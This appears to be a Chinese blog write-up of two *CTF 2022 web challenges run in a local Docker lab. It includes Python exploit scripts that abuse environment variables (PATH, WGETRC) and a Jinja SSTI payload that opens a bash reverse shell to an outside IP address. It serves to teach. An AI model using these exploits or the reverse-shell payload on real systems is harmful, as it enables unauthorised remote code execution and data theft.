🌟CTF2022-Web部分WriteUp

*CTF

oh-my-lotto

首先用比赛给的附件,用Dokcer搭好环境

docker-compose build
docker-compose up

正常启动

给了源码,所以进行白盒审计,四个界面分别对应四个路由

其中lotto的路由主要部分是这些

@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''

if request.method == 'GET':
return render_template('lotto.html')

elif request.method == 'POST':
flag = os.getenv('flag')
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''
try:
lotto_key = lotto_key.upper()
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
os.system('wget --content-disposition -N lotto')

if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read()
else:
lotto_result = 'result'
if os.path.exists("/app/guess/forecast.txt"):
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'

if forecast == lotto_result:
return flag

大概含义就是会从内网的lotto界面取出一个文件(可以在lotto的app.py中发现事一串随机数),然后与forecast传入的文件进行对比,如果相同就会返回从环境变量中取出的flag

然后就是

def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True

因为这个函数过滤了一些环境变量,所以之前HF中看p神提到的环境变量进行RCE也不行了

看了WP才知道,控制PATH,我们也可以进行一些骚操作

PATH变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限

那既然它是会用wget取读取随机数,那我们控制PATH,让它找不到wget,它就无法再读出随机数,这样我们就可以利用已知的第一次生成的随机数上传,不就对比是一样的了嘛

EXP如下

import requests
from lxml import etree

url = "http://localhost:8880/"

lotto_data = {
"lotto_key": "",
"lotto_value": ""

}

lotto_data1 = {
"lotto_key": "PATH",
"lotto_value": "/"
}

requests.post(url=(url + "lotto"), data=lotto_data)

resp = requests.get(url=(url + "result"))
html = etree.HTML(resp.text)
result = html.xpath("/html/body/div[2]/div/p[3]/text()")
print(result)
with open("result.txt", "w+") as f:
f.writelines(result)

requests.post(url=(url + "forecast"),
files={'file': open("result.txt", "rb")})
r = requests.post(url=(url + "lotto"), data=lotto_data1)
print(r.text)

成功得到flag

oh-my-lotto-revenge

算是上一题的一个进阶版本

这里就算预测正确,也不会返回flag

根据wp的这个链接

我们知道了这个WGETRC,我们可以控制环境变量就可以控制wget的参数,其中这里主要利用这两个

http_proxy = string
Use string as HTTP proxy, instead of the one specified in environment.
wget的流量就会先转发到这个指定的代理上,这样我们就可以成为一个中间人

output_document = file
Set the output filename—the same as ‘-O file’.
这个我们就能控制目录文件,覆盖templates/index.html,打一个SSTI

先做个实验,看wget的流量能否转发到我们的监听端口上

再用如下exp

"""
@Author: C4ry7nk
"""

import requests


url = "http://localhost:8880/"

r = requests.post(url + "forecast",
files={'file': open("lnk.txt", "rb")})

data = {
"lotto_key": "WGETRC",
"lotto_value": "/app/guess/forecast.txt"
}

resp = requests.post(url + "lotto", data=data)
print(resp.text)

然后我们在本地docker的shell里就可以发现,的确写入了我们输入的内容

那我们如果写入反弹shell的SSTI,再刷新index.html,就可以getshell了

于是我们写入

{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/118.251.146.118/1234 0>&1"').read()}}

刷新index.html后,成功获得shell

在env中看到flag

参考

Y4师傅的WP

作者

秋秋晚

发布于

2022-04-19

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...